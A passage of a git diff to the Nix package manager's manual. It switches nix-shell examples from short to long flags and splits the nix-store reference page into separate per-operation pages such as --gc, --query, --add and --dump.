packages `sqlite` and `libX11`: ```console -$ nix-shell -E 'with import { }; runCommand "dummy" { buildInputs = [ sqlite xorg.libX11 ]; } ""' +$ nix-shell --expr 'with import { }; runCommand "dummy" { buildInputs = [ sqlite xorg.libX11 ]; } ""' ``` A shorter way to do the same is: ```console -$ nix-shell -p sqlite xorg.libX11 +$ nix-shell --packages sqlite xorg.libX11 [nix-shell]$ echo $NIX_LDFLAGS … -L/nix/store/j1zg5v…-sqlite-3.8.0.2/lib -L/nix/store/0gmcz9…-libX11-1.6.1/lib … ``` @@ -159,7 +170,7 @@ the `buildInputs = [ ... ]` shown above, not only package names. So the following is also legal: ```console -$ nix-shell -p sqlite 'git.override { withManual = false; }' +$ nix-shell --packages sqlite 'git.override { withManual = false; }' ``` The `-p` flag looks up Nixpkgs in the Nix search path. You can override @@ -168,7 +179,7 @@ gives you a shell containing the Pan package from a specific revision of Nixpkgs: ```console -$ nix-shell -p pan -I nixpkgs=https://github.com/NixOS/nixpkgs/archive/8a3eea054838b55aca962c3fbde9c83c102b8bf2.tar.gz +$ nix-shell --packages pan -I nixpkgs=https://github.com/NixOS/nixpkgs/archive/8a3eea054838b55aca962c3fbde9c83c102b8bf2.tar.gz [nix-shell:~]$ pan --version Pan 0.139 @@ -182,7 +193,7 @@ done by starting the script with the following lines: ```bash #! /usr/bin/env nix-shell -#! nix-shell -i real-interpreter -p packages +#! nix-shell -i real-interpreter --packages packages ``` where *real-interpreter* is the “real” script interpreter that will be @@ -199,14 +210,14 @@ For example, here is a Python script that depends on Python and the ```python #! /usr/bin/env nix-shell -#! nix-shell -i python -p python pythonPackages.prettytable +#! nix-shell -i python3 --packages python3 python3Packages.prettytable import prettytable # Print a simple table. t = prettytable.PrettyTable(["N", "N^2"]) for n in range(1, 10): t.add_row([n, n * n]) -print t +print(t) ``` Similarly, the following is a Perl script that specifies that it @@ -214,7 +225,7 @@ requires Perl and the `HTML::TokeParser::Simple` and `LWP` packages: ```perl #! /usr/bin/env nix-shell -#! nix-shell -i perl -p perl perlPackages.HTMLTokeParserSimple perlPackages.LWP +#! nix-shell -i perl --packages perl perlPackages.HTMLTokeParserSimple perlPackages.LWP use HTML::TokeParser::Simple; @@ -232,14 +243,14 @@ package like Terraform: ```bash #! /usr/bin/env nix-shell -#! nix-shell -i bash -p "terraform.withPlugins (plugins: [ plugins.openstack ])" +#! nix-shell -i bash --packages 'terraform.withPlugins (plugins: [ plugins.openstack ])' terraform apply ``` > **Note** > -> You must use double quotes (`"`) when passing a simple Nix expression +> You must use single or double quotes (`'`, `"`) when passing a simple Nix expression > in a nix-shell shebang. Finally, using the merging of multiple nix-shell shebangs the following @@ -248,7 +259,7 @@ branch): ```haskell #! /usr/bin/env nix-shell -#! nix-shell -i runghc -p "haskellPackages.ghcWithPackages (ps: [ps.download-curl ps.tagsoup])" +#! nix-shell -i runghc --packages 'haskellPackages.ghcWithPackages (ps: [ps.download-curl ps.tagsoup])' #! nix-shell -I nixpkgs=https://github.com/NixOS/nixpkgs/archive/nixos-20.03.tar.gz import Network.Curl.Download @@ -286,3 +297,8 @@ with import {}; runCommand "dummy" { buildInputs = [ python pythonPackages.prettytable ]; } "" ``` + +The script's file name is passed as the first argument to the interpreter specified by the `-i` flag. + +Aside from the very first line, which is a directive to the operating system, the additional `#! nix-shell` lines do not need to be at the beginning of the file. +This allows wrapping them in block comments for languages where `#` does not start a comment, such as ECMAScript, Erlang, PHP, or Ruby. diff --git a/doc/manual/src/command-ref/nix-store.md b/doc/manual/src/command-ref/nix-store.md index b712a7463..c7c5fdd2f 100644 --- a/doc/manual/src/command-ref/nix-store.md +++ b/doc/manual/src/command-ref/nix-store.md @@ -13,818 +13,35 @@ The command `nix-store` performs primitive operations on the Nix store. You generally do not need to run this command manually. -`nix-store` takes exactly one *operation* flag which indicates the -subcommand to be performed. These are documented below. - -# Common options - -This section lists the options that are common to all operations. These -options are allowed for every subcommand, though they may not always -have an effect. - - - [`--add-root`](#opt-add-root) *path* - - Causes the result of a realisation (`--realise` and - `--force-realise`) to be registered as a root of the garbage - collector. *path* will be created as a symlink to the resulting - store path. In addition, a uniquely named symlink to *path* will - be created in `/nix/var/nix/gcroots/auto/`. For instance, - - ```console - $ nix-store --add-root /home/eelco/bla/result -r ... - - $ ls -l /nix/var/nix/gcroots/auto - lrwxrwxrwx 1 ... 2005-03-13 21:10 dn54lcypm8f8... -> /home/eelco/bla/result - - $ ls -l /home/eelco/bla/result - lrwxrwxrwx 1 ... 2005-03-13 21:10 /home/eelco/bla/result -> /nix/store/1r11343n6qd4...-f-spot-0.0.10 - ``` - - Thus, when `/home/eelco/bla/result` is removed, the GC root in the - `auto` directory becomes a dangling symlink and will be ignored by - the collector. - - > **Warning** - > - > Note that it is not possible to move or rename GC roots, since - > the symlink in the `auto` directory will still point to the old - > location. - - If there are multiple results, then multiple symlinks will be - created by sequentially numbering symlinks beyond the first one - (e.g., `foo`, `foo-2`, `foo-3`, and so on). - -# Operation `--realise` - -## Synopsis - -`nix-store` {`--realise` | `-r`} *paths…* [`--dry-run`] - -## Description - -The operation `--realise` essentially “builds” the specified store -paths. Realisation is a somewhat overloaded term: - - - If the store path is a *derivation*, realisation ensures that the - output paths of the derivation are [valid](../glossary.md) (i.e., - the output path and its closure exist in the file system). This - can be done in several ways. First, it is possible that the - outputs are already valid, in which case we are done - immediately. Otherwise, there may be [substitutes](../glossary.md) - that produce the outputs (e.g., by downloading them). Finally, the - outputs can be produced by running the build task described - by the derivation. - - - If the store path is not a derivation, realisation ensures that the - specified path is valid (i.e., it and its closure exist in the file - system). If the path is already valid, we are done immediately. - Otherwise, the path and any missing paths in its closure may be - produced through substitutes. If there are no (successful) - substitutes, realisation fails. - -The output path of each derivation is printed on standard output. (For -non-derivations argument, the argument itself is printed.) - -The following flags are available: - - - `--dry-run`\ - Print on standard error a description of what packages would be - built or downloaded, without actually performing the operation. - - - `--ignore-unknown`\ - If a non-derivation path does not have a substitute, then silently - ignore it. - - - `--check`\ - This option allows you to check whether a derivation is - deterministic. It rebuilds the specified derivation and checks - whether the result is bitwise-identical with the existing outputs, - printing an error if that’s not the case. The outputs of the - specified derivation must already exist. When used with `-K`, if an - output path is not identical to the corresponding output from the - previous build, the new output path is left in - `/nix/store/name.check.` - -Special exit codes: - - - `100`\ - Generic build failure, the builder process returned with a non-zero - exit code. - - - `101`\ - Build timeout, the build was aborted because it did not complete - within the specified `timeout`. - - - `102`\ - Hash mismatch, the build output was rejected because it does not - match the [`outputHash` attribute of the - derivation](../language/advanced-attributes.md). - - - `104`\ - Not deterministic, the build succeeded in check mode but the - resulting output is not binary reproducible. - -With the `--keep-going` flag it's possible for multiple failures to -occur, in this case the 1xx status codes are or combined using binary -or. - - 1100100 - ^^^^ - |||`- timeout - ||`-- output hash mismatch - |`--- build failure - `---- not deterministic - -## Examples - -This operation is typically used to build store derivations produced by -[`nix-instantiate`](nix-instantiate.md): - -```console -$ nix-store -r $(nix-instantiate ./test.nix) -/nix/store/31axcgrlbfsxzmfff1gyj1bf62hvkby2-aterm-2.3.1 -``` - -This is essentially what [`nix-build`](nix-build.md) does. - -To test whether a previously-built derivation is deterministic: - -```console -$ nix-build '' -A hello --check -K -``` - -# Operation `--serve` - -## Synopsis - -`nix-store` `--serve` [`--write`] - -## Description - -The operation `--serve` provides access to the Nix store over stdin and -stdout, and is intended to be used as a means of providing Nix store -access to a restricted ssh user. - -The following flags are available: - - - `--write`\ - Allow the connected client to request the realization of - derivations. In effect, this can be used to make the host act as a - remote builder. - -## Examples - -To turn a host into a build server, the `authorized_keys` file can be -used to provide build access to a given SSH public key: - -```console -$ cat <>/root/.ssh/authorized_keys -command="nice -n20 nix-store --serve --write" ssh-rsa AAAAB3NzaC1yc2EAAAA... -EOF -``` - -# Operation `--gc` - -## Synopsis - -`nix-store` `--gc` [`--print-roots` | `--print-live` | `--print-dead`] [`--max-freed` *bytes*] - -## Description - -Without additional flags, the operation `--gc` performs a garbage -collection on the Nix store. That is, all paths in the Nix store not -reachable via file system references from a set of “roots”, are deleted. - -The following suboperations may be specified: - - - `--print-roots`\ - This operation prints on standard output the set of roots used by - the garbage collector. - - - `--print-live`\ - This operation prints on standard output the set of “live” store - paths, which are all the store paths reachable from the roots. Live - paths should never be deleted, since that would break consistency — - it would become possible that applications are installed that - reference things that are no longer present in the store. - - - `--print-dead`\ - This operation prints out on standard output the set of “dead” store - paths, which is just the opposite of the set of live paths: any path - in the store that is not live (with respect to the roots) is dead. - -By default, all unreachable paths are deleted. The following options -control what gets deleted and in what order: - - - `--max-freed` *bytes*\ - Keep deleting paths until at least *bytes* bytes have been deleted, - then stop. The argument *bytes* can be followed by the - multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB - or TiB units. - -The behaviour of the collector is also influenced by the -`keep-outputs` and `keep-derivations` settings in the Nix -configuration file. - -By default, the collector prints the total number of freed bytes when it -finishes (or when it is interrupted). With `--print-dead`, it prints the -number of bytes that would be freed. - -## Examples - -To delete all unreachable paths, just do: - -```console -$ nix-store --gc -deleting `/nix/store/kq82idx6g0nyzsp2s14gfsc38npai7lf-cairo-1.0.4.tar.gz.drv' -... -8825586 bytes freed (8.42 MiB) -``` - -To delete at least 100 MiBs of unreachable paths: - -```console -$ nix-store --gc --max-freed $((100 * 1024 * 1024)) -``` - -# Operation `--delete` - -## Synopsis - -`nix-store` `--delete` [`--ignore-liveness`] *paths…* - -## Description - -The operation `--delete` deletes the store paths *paths* from the Nix -store, but only if it is safe to do so; that is, when the path is not -reachable from a root of the garbage collector. This means that you can -only delete paths that would also be deleted by `nix-store --gc`. Thus, -`--delete` is a more targeted version of `--gc`. - -With the option `--ignore-liveness`, reachability from the roots is -ignored. However, the path still won’t be deleted if there are other -paths in the store that refer to it (i.e., depend on it). - -## Example - -```console -$ nix-store --delete /nix/store/zq0h41l75vlb4z45kzgjjmsjxvcv1qk7-mesa-6.4 -0 bytes freed (0.00 MiB) -error: cannot delete path `/nix/store/zq0h41l75vlb4z45kzgjjmsjxvcv1qk7-mesa-6.4' since it is still alive -``` - -# Operation `--query` - -## Synopsis - -`nix-store` {`--query` | `-q`} - {`--outputs` | `--requisites` | `-R` | `--references` | - `--referrers` | `--referrers-closure` | `--deriver` | `-d` | - `--graph` | `--tree` | `--binding` *name* | `-b` *name* | `--hash` | - `--size` | `--roots`} - [`--use-output`] [`-u`] [`--force-realise`] [`-f`] - *paths…* - -## Description - -The operation `--query` displays various bits of information about the -store paths . The queries are described below. At most one query can be -specified. The default query is `--outputs`. - -The paths *paths* may also be symlinks from outside of the Nix store, to -the Nix store. In that case, the query is applied to the target of the -symlink. - -## Common query options - - - `--use-output`; `-u`\ - For each argument to the query that is a store derivation, apply the - query to the output path of the derivation instead. - - - `--force-realise`; `-f`\ - Realise each argument to the query first (see [`nix-store - --realise`](#operation---realise)). - -## Queries - - - `--outputs`\ - Prints out the [output paths](../glossary.md) of the store - derivations *paths*. These are the paths that will be produced when - the derivation is built. - - - `--requisites`; `-R`\ - Prints out the [closure](../glossary.md) of the store path *paths*. - - This query has one option: - - - `--include-outputs` - Also include the existing output paths of store derivations, - and their closures. - - This query can be used to implement various kinds of deployment. A - *source deployment* is obtained by distributing the closure of a - store derivation. A *binary deployment* is obtained by distributing - the closure of an output path. A *cache deployment* (combined - source/binary deployment, including binaries of build-time-only - dependencies) is obtained by distributing the closure of a store - derivation and specifying the option `--include-outputs`. - - - `--references`\ - Prints the set of [references](../glossary.md) of the store paths - *paths*, that is, their immediate dependencies. (For *all* - dependencies, use `--requisites`.) - - - `--referrers`\ - Prints the set of *referrers* of the store paths *paths*, that is, - the store paths currently existing in the Nix store that refer to - one of *paths*. Note that contrary to the references, the set of - referrers is not constant; it can change as store paths are added or - removed. - - - `--referrers-closure`\ - Prints the closure of the set of store paths *paths* under the - referrers relation; that is, all store paths that directly or - indirectly refer to one of *paths*. These are all the path currently - in the Nix store that are dependent on *paths*. - - - `--deriver`; `-d`\ - Prints the [deriver](../glossary.md) of the store paths *paths*. If - the path has no deriver (e.g., if it is a source file), or if the - deriver is not known (e.g., in the case of a binary-only - deployment), the string `unknown-deriver` is printed. - - - `--graph`\ - Prints the references graph of the store paths *paths* in the format - of the `dot` tool of AT\&T's [Graphviz - package](http://www.graphviz.org/). This can be used to visualise - dependency graphs. To obtain a build-time dependency graph, apply - this to a store derivation. To obtain a runtime dependency graph, - apply it to an output path. - - - `--tree`\ - Prints the references graph of the store paths *paths* as a nested - ASCII tree. References are ordered by descending closure size; this - tends to flatten the tree, making it more readable. The query only - recurses into a store path when it is first encountered; this - prevents a blowup of the tree representation of the graph. - - - `--graphml`\ - Prints the references graph of the store paths *paths* in the - [GraphML](http://graphml.graphdrawing.org/) file format. This can be - used to visualise dependency graphs. To obtain a build-time - dependency graph, apply this to a store derivation. To obtain a - runtime dependency graph, apply it to an output path. - - - `--binding` *name*; `-b` *name*\ - Prints the value of the attribute *name* (i.e., environment - variable) of the store derivations *paths*. It is an error for a - derivation to not have the specified attribute. - - - `--hash`\ - Prints the SHA-256 hash of the contents of the store paths *paths* - (that is, the hash of the output of `nix-store --dump` on the given - paths). Since the hash is stored in the Nix database, this is a fast - operation. - - - `--size`\ - Prints the size in bytes of the contents of the store paths *paths* - — to be precise, the size of the output of `nix-store --dump` on - the given paths. Note that the actual disk space required by the - store paths may be higher, especially on filesystems with large - cluster sizes. - - - `--roots`\ - Prints the garbage collector roots that point, directly or - indirectly, at the store paths *paths*. - -## Examples - -Print the closure (runtime dependencies) of the `svn` program in the -current user environment: - -```console -$ nix-store -qR $(which svn) -/nix/store/5mbglq5ldqld8sj57273aljwkfvj22mc-subversion-1.1.4 -/nix/store/9lz9yc6zgmc0vlqmn2ipcpkjlmbi51vv-glibc-2.3.4 -... -``` - -Print the build-time dependencies of `svn`: - -```console -$ nix-store -qR $(nix-store -qd $(which svn)) -/nix/store/02iizgn86m42q905rddvg4ja975bk2i4-grep-2.5.1.tar.bz2.drv -/nix/store/07a2bzxmzwz5hp58nf03pahrv2ygwgs3-gcc-wrapper.sh -/nix/store/0ma7c9wsbaxahwwl04gbw3fcd806ski4-glibc-2.3.4.drv -... lots of other paths ... -``` - -The difference with the previous example is that we ask the closure of -the derivation (`-qd`), not the closure of the output path that contains -`svn`. - -Show the build-time dependencies as a tree: - -```console -$ nix-store -q --tree $(nix-store -qd $(which svn)) -/nix/store/7i5082kfb6yjbqdbiwdhhza0am2xvh6c-subversion-1.1.4.drv -+---/nix/store/d8afh10z72n8l1cr5w42366abiblgn54-builder.sh -+---/nix/store/fmzxmpjx2lh849ph0l36snfj9zdibw67-bash-3.0.drv -| +---/nix/store/570hmhmx3v57605cqg9yfvvyh0nnb8k8-bash -| +---/nix/store/p3srsbd8dx44v2pg6nbnszab5mcwx03v-builder.sh -... -``` - -Show all paths that depend on the same OpenSSL library as `svn`: - -```console -$ nix-store -q --referrers $(nix-store -q --binding openssl $(nix-store -qd $(which svn))) -/nix/store/23ny9l9wixx21632y2wi4p585qhva1q8-sylpheed-1.0.0 -/nix/store/5mbglq5ldqld8sj57273aljwkfvj22mc-subversion-1.1.4 -/nix/store/dpmvp969yhdqs7lm2r1a3gng7pyq6vy4-subversion-1.1.3 -/nix/store/l51240xqsgg8a7yrbqdx1rfzyv6l26fx-lynx-2.8.5 -``` - -Show all paths that directly or indirectly depend on the Glibc (C -library) used by `svn`: - -```console -$ nix-store -q --referrers-closure $(ldd $(which svn) | grep /libc.so | awk '{print $3}') -/nix/store/034a6h4vpz9kds5r6kzb9lhh81mscw43-libgnomeprintui-2.8.2 -/nix/store/15l3yi0d45prm7a82pcrknxdh6nzmxza-gawk-3.1.4 -... -``` - -Note that `ldd` is a command that prints out the dynamic libraries used -by an ELF executable. - -Make a picture of the runtime dependency graph of the current user -environment: - -```console -$ nix-store -q --graph ~/.nix-profile | dot -Tps > graph.ps -$ gv graph.ps -``` - -Show every garbage collector root that points to a store path that -depends on `svn`: - -```console -$ nix-store -q --roots $(which svn) -/nix/var/nix/profiles/default-81-link -/nix/var/nix/profiles/default-82-link -/nix/var/nix/profiles/per-user/eelco/profile-97-link -``` - -# Operation `--add` - -## Synopsis - -`nix-store` `--add` *paths…* - -## Description - -The operation `--add` adds the specified paths to the Nix store. It -prints the resulting paths in the Nix store on standard output. - -## Example - -```console -$ nix-store --add ./foo.c -/nix/store/m7lrha58ph6rcnv109yzx1nk1cj7k7zf-foo.c -``` - -# Operation `--add-fixed` - -## Synopsis - -`nix-store` `--add-fixed` [`--recursive`] *algorithm* *paths…* - -## Description - -The operation `--add-fixed` adds the specified paths to the Nix store. -Unlike `--add` paths are registered using the specified hashing -algorithm, resulting in the same output path as a fixed-output -derivation. This can be used for sources that are not available from a -public url or broke since the download expression was written. - -This operation has the following options: - - - `--recursive`\ - Use recursive instead of flat hashing mode, used when adding - directories to the store. - -## Example - -```console -$ nix-store --add-fixed sha256 ./hello-2.10.tar.gz -/nix/store/3x7dwzq014bblazs7kq20p9hyzz0qh8g-hello-2.10.tar.gz -``` - -# Operation `--verify` - -## Synopsis - -`nix-store` `--verify` [`--check-contents`] [`--repair`] - -## Description - -The operation `--verify` verifies the internal consistency of the Nix -database, and the consistency between the Nix database and the Nix -store. Any inconsistencies encountered are automatically repaired. -Inconsistencies are generally the result of the Nix store or database -being modified by non-Nix tools, or of bugs in Nix itself. - -This operation has the following options: - - - `--check-contents`\ - Checks that the contents of every valid store path has not been - altered by computing a SHA-256 hash of the contents and comparing it - with the hash stored in the Nix database at build time. Paths that - have been modified are printed out. For large stores, - `--check-contents` is obviously quite slow. - - - `--repair`\ - If any valid path is missing from the store, or (if - `--check-contents` is given) the contents of a valid path has been - modified, then try to repair the path by redownloading it. See - `nix-store --repair-path` for details. - -# Operation `--verify-path` - -## Synopsis - -`nix-store` `--verify-path` *paths…* - -## Description - -The operation `--verify-path` compares the contents of the given store -paths to their cryptographic hashes stored in Nix’s database. For every -changed path, it prints a warning message. The exit status is 0 if no -path has changed, and 1 otherwise. - -## Example - -To verify the integrity of the `svn` command and all its dependencies: - -```console -$ nix-store --verify-path $(nix-store -qR $(which svn)) -``` - -# Operation `--repair-path` - -## Synopsis - -`nix-store` `--repair-path` *paths…* - -## Description - -The operation `--repair-path` attempts to “repair” the specified paths -by redownloading them using the available substituters. If no -substitutes are available, then repair is not possible. - -> **Warning** -> -> During repair, there is a very small time window during which the old -> path (if it exists) is moved out of the way and replaced with the new -> path. If repair is interrupted in between, then the system may be left -> in a broken state (e.g., if the path contains a critical system -> component like the GNU C Library). - -## Example - -```console -$ nix-store --verify-path /nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13 -path `/nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13' was modified! - expected hash `2db57715ae90b7e31ff1f2ecb8c12ec1cc43da920efcbe3b22763f36a1861588', - got `481c5aa5483ebc97c20457bb8bca24deea56550d3985cda0027f67fe54b808e4' - -$ nix-store --repair-path /nix/store/dj7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13 -fetching path `/nix/store/d7a81wsm1ijwwpkks3725661h3263p5-glibc-2.13'... -… -``` - -# Operation `--dump` - -## Synopsis - -`nix-store` `--dump` *path* - -## Description - -The operation `--dump` produces a NAR (Nix ARchive) file containing the -contents of the file system tree rooted at *path*. The archive is -written to standard output. - -A NAR archive is like a TAR or Zip archive, but it contains only the -information that Nix considers important. For instance, timestamps are -elided because all files in the Nix store have their timestamp set to 0 -anyway. Likewise, all permissions are left out except for the execute -bit, because all files in the Nix store have 444 or 555 permission. - -Also, a NAR archive is *canonical*, meaning that “equal” paths always -produce the same NAR archive. For instance, directory entries are -always sorted so that the actual on-disk order doesn’t influence the -result. This means that the cryptographic hash of a NAR dump of a -path is usable as a fingerprint of the contents of the path. Indeed, -the hashes of store paths stored in Nix’s database (see `nix-store -q ---hash`) are SHA-256 hashes of the NAR dump of each store path. - -NAR archives support filenames of unlimited length and 64-bit file -sizes. They can contain regular files, directories, and symbolic links, -but not other types of files (such as device nodes). - -A Nix archive can be unpacked using `nix-store ---restore`. - -# Operation `--restore` - -## Synopsis - -`nix-store` `--restore` *path* - -## Description - -The operation `--restore` unpacks a NAR archive to *path*, which must -not already exist. The archive is read from standard input. - -# Operation `--export` - -## Synopsis - -`nix-store` `--export` *paths…* - -## Description - -The operation `--export` writes a serialisation of the specified store -paths to standard output in a format that can be imported into another -Nix store with `nix-store --import`. This is like `nix-store ---dump`, except that the NAR archive produced by that command doesn’t -contain the necessary meta-information to allow it to be imported into -another Nix store (namely, the set of references of the path). - -This command does not produce a *closure* of the specified paths, so if -a store path references other store paths that are missing in the target -Nix store, the import will fail. To copy a whole closure, do something -like: - -```console -$ nix-store --export $(nix-store -qR paths) > out -``` - -To import the whole closure again, run: - -```console -$ nix-store --import < out -``` - -# Operation `--import` - -## Synopsis - -`nix-store` `--import` - -## Description - -The operation `--import` reads a serialisation of a set of store paths -produced by `nix-store --export` from standard input and adds those -store paths to the Nix store. Paths that already exist in the Nix store -are ignored. If a path refers to another path that doesn’t exist in the -Nix store, the import fails. - -# Operation `--optimise` - -## Synopsis - -`nix-store` `--optimise` - -## Description - -The operation `--optimise` reduces Nix store disk space usage by finding -identical files in the store and hard-linking them to each other. It -typically reduces the size of the store by something like 25-35%. Only -regular files and symlinks are hard-linked in this manner. Files are -considered identical when they have the same NAR archive serialisation: -that is, regular files must have the same contents and permission -(executable or non-executable), and symlinks must have the same -contents. - -After completion, or when the command is interrupted, a report on the -achieved savings is printed on standard error. - -Use `-vv` or `-vvv` to get some progress indication. - -## Example - -```console -$ nix-store --optimise -hashing files in `/nix/store/qhqx7l2f1kmwihc9bnxs7rc159hsxnf3-gcc-4.1.1' -... -541838819 bytes (516.74 MiB) freed by hard-linking 54143 files; -there are 114486 files with equal contents out of 215894 files in total -``` - -# Operation `--read-log` - -## Synopsis - -`nix-store` {`--read-log` | `-l`} *paths…* - -## Description - -The operation `--read-log` prints the build log of the specified store -paths on standard output. The build log is whatever the builder of a -derivation wrote to standard output and standard error. If a store path -is not a derivation, the deriver of the store path is used. - -Build logs are kept in `/nix/var/log/nix/drvs`. However, there is no -guarantee that a build log is available for any particular store path. -For instance, if the path was downloaded as a pre-built binary through a -substitute, then the log is unavailable. - -## Example - -```console -$ nix-store -l $(which ktorrent) -building /nix/store/dhc73pvzpnzxhdgpimsd9sw39di66ph1-ktorrent-2.2.1 -unpacking sources -unpacking source archive /nix/store/p8n1jpqs27mgkjw07pb5269717nzf5f8-ktorrent-2.2.1.tar.gz -ktorrent-2.2.1/ -ktorrent-2.2.1/NEWS -... -``` - -# Operation `--dump-db` - -## Synopsis - -`nix-store` `--dump-db` [*paths…*] - -## Description - -The operation `--dump-db` writes a dump of the Nix database to standard -output. It can be loaded into an empty Nix store using `--load-db`. This -is useful for making backups and when migrating to different database -schemas. - -By default, `--dump-db` will dump the entire Nix database. When one or -more store paths is passed, only the subset of the Nix database for -those store paths is dumped. As with `--export`, the user is responsible -for passing all the store paths for a closure. See `--export` for an -example. - -# Operation `--load-db` - -## Synopsis - -`nix-store` `--load-db` - -## Description - -The operation `--load-db` reads a dump of the Nix database created by -`--dump-db` from standard input and loads it into the Nix database. - -# Operation `--print-env` - -## Synopsis - -`nix-store` `--print-env` *drvpath* - -## Description - -The operation `--print-env` prints out the environment of a derivation -in a format that can be evaluated by a shell. The command line arguments -of the builder are placed in the variable `_args`. - -## Example - -```console -$ nix-store --print-env $(nix-instantiate '' -A firefox) -… -export src; src='/nix/store/plpj7qrwcz94z2psh6fchsi7s8yihc7k-firefox-12.0.source.tar.bz2' -export stdenv; stdenv='/nix/store/7c8asx3yfrg5dg1gzhzyq2236zfgibnn-stdenv' -export system; system='x86_64-linux' -export _args; _args='-e /nix/store/9krlzvny65gdc8s7kpb6lkx8cd02c25c-default-builder.sh' -``` - -# Operation `--generate-binary-cache-key` - -## Synopsis - -`nix-store` `--generate-binary-cache-key` *key-name* *secret-key-file* *public-key-file* - -## Description - -This command generates an [Ed25519 key pair](http://ed25519.cr.yp.to/) -that can be used to create a signed binary cache. It takes three -mandatory parameters: - -1. A key name, such as `cache.example.org-1`, that is used to look up - keys on the client when it verifies signatures. It can be anything, - but it’s suggested to use the host name of your cache (e.g. - `cache.example.org`) with a suffix denoting the number of the key - (to be incremented every time you need to revoke a key). - -2. The file name where the secret key is to be stored. - -3. The file name where the public key is to be stored. +`nix-store` takes exactly one *operation* flag which indicates the subcommand to be performed. The following operations are available: + +- [`--realise`](./nix-store/realise.md) +- [`--serve`](./nix-store/serve.md) +- [`--gc`](./nix-store/gc.md) +- [`--delete`](./nix-store/delete.md) +- [`--query`](./nix-store/query.md) +- [`--add`](./nix-store/add.md) +- [`--add-fixed`](./nix-store/add-fixed.md) +- [`--verify`](./nix-store/verify.md) +- [`--verify-path`](./nix-store/verify-path.md) +- [`--repair-path`](./nix-store/repair-path.md) +- [`--dump`](./nix-store/dump.md) +- [`--restore`](./nix-store/restore.md) +- [`--export`](./nix-store/export.md) +- [`--import`](./nix-store/import.md) +- [`--optimise`](./nix-store/optimise.md) +- [`--read-log`](./nix-store/read-log.md) +- [`--dump-db`](./nix-store/dump-db.md) +- [`--load-db`](./nix-store/load-db.md) +- [`--print-env`](./nix-store/print-env.md) +- [`--generate-binary-cache-key`](./nix-store/generate-binary-cache-key.md) + +These pages can be viewed offline: + +- `man nix-store-`. + + Example: `man nix-store-realise` + +- `nix-store --help --` + + Example: `nix-store --help --realise` diff --git a/doc/manual/src/command-ref/nix-store/add-fixed.md b/doc/manual/src/command-ref/nix-store/add-fixed.md new file mode 100644 index 000000000..bebf15026 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/add-fixed.md @@ -0,0 +1,36 @@ +# Name + +`nix-store --add-fixed` - add paths to store using given hashing algorithm + +## Synopsis + +`nix-store` `--add-fixed` [`--recursive`] *algorithm* *paths…* + +## Description + +The operation `--add-fixed` adds the specified paths to the Nix store. +Unlike `--add` paths are registered using the specified hashing +algorithm, resulting in the same output path as a fixed-output +derivation. This can be used for sources that are not available from a +public url or broke since the download expression was written. + +This operation has the following options: + +- `--recursive` + + Use recursive instead of flat hashing mode, used when adding + directories to the store. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +## Example + +```console +$ nix-store --add-fixed sha256 ./hello-2.10.tar.gz +/nix/store/3x7dwzq014bblazs7kq20p9hyzz0qh8g-hello-2.10.tar.gz +``` + diff --git a/doc/manual/src/command-ref/nix-store/add.md b/doc/manual/src/command-ref/nix-store/add.md new file mode 100644 index 000000000..87d504cd3 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/add.md @@ -0,0 +1,25 @@ +# Name + +`nix-store --add` - add paths to Nix store + +# Synopsis + +`nix-store` `--add` *paths…* + +# Description + +The operation `--add` adds the specified paths to the Nix store. It +prints the resulting paths in the Nix store on standard output. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Example + +```console +$ nix-store --add ./foo.c +/nix/store/m7lrha58ph6rcnv109yzx1nk1cj7k7zf-foo.c +``` diff --git a/doc/manual/src/command-ref/nix-store/delete.md b/doc/manual/src/command-ref/nix-store/delete.md new file mode 100644 index 000000000..550c5ea29 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/delete.md @@ -0,0 +1,33 @@ +# Name + +`nix-store --delete` - delete store paths + +# Synopsis + +`nix-store` `--delete` [`--ignore-liveness`] *paths…* + +# Description + +The operation `--delete` deletes the store paths *paths* from the Nix +store, but only if it is safe to do so; that is, when the path is not +reachable from a root of the garbage collector. This means that you can +only delete paths that would also be deleted by `nix-store --gc`. Thus, +`--delete` is a more targeted version of `--gc`. + +With the option `--ignore-liveness`, reachability from the roots is +ignored. However, the path still won’t be deleted if there are other +paths in the store that refer to it (i.e., depend on it). + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Example + +```console +$ nix-store --delete /nix/store/zq0h41l75vlb4z45kzgjjmsjxvcv1qk7-mesa-6.4 +0 bytes freed (0.00 MiB) +error: cannot delete path `/nix/store/zq0h41l75vlb4z45kzgjjmsjxvcv1qk7-mesa-6.4' since it is still alive +``` diff --git a/doc/manual/src/command-ref/nix-store/dump-db.md b/doc/manual/src/command-ref/nix-store/dump-db.md new file mode 100644 index 000000000..b2c77ced0 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/dump-db.md @@ -0,0 +1,26 @@ +# Name + +`nix-store --dump-db` - export Nix database + +# Synopsis + +`nix-store` `--dump-db` [*paths…*] + +# Description + +The operation `--dump-db` writes a dump of the Nix database to standard +output. It can be loaded into an empty Nix store using `--load-db`. This +is useful for making backups and when migrating to different database +schemas. + +By default, `--dump-db` will dump the entire Nix database. When one or +more store paths is passed, only the subset of the Nix database for +those store paths is dumped. As with `--export`, the user is responsible +for passing all the store paths for a closure. See `--export` for an +example. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} diff --git a/doc/manual/src/command-ref/nix-store/dump.md b/doc/manual/src/command-ref/nix-store/dump.md new file mode 100644 index 000000000..3de0e27b0 --- /dev/null +++ b/doc/manual/src/command-ref/nix-store/dump.md @@ -0,0 +1,41 @@ +# Name + +`nix-store --dump` - write a single path to a [Nix Archive] + +## Synopsis + +`nix-store` `--dump` *path* + +## Description + +The operation `--dump` produces a [Nix archive](@docroot@/glossary.md#gloss-nar) (NAR) file containing the +contents of the file system tree rooted at *path*. The archive is +written to standard output. + +A NAR archive is like a TAR or Zip archive, but it contains only the +information that Nix considers important. For instance, timestamps are +elided because all files in the Nix store have their timestamp set to 0 +anyway. Likewise, all 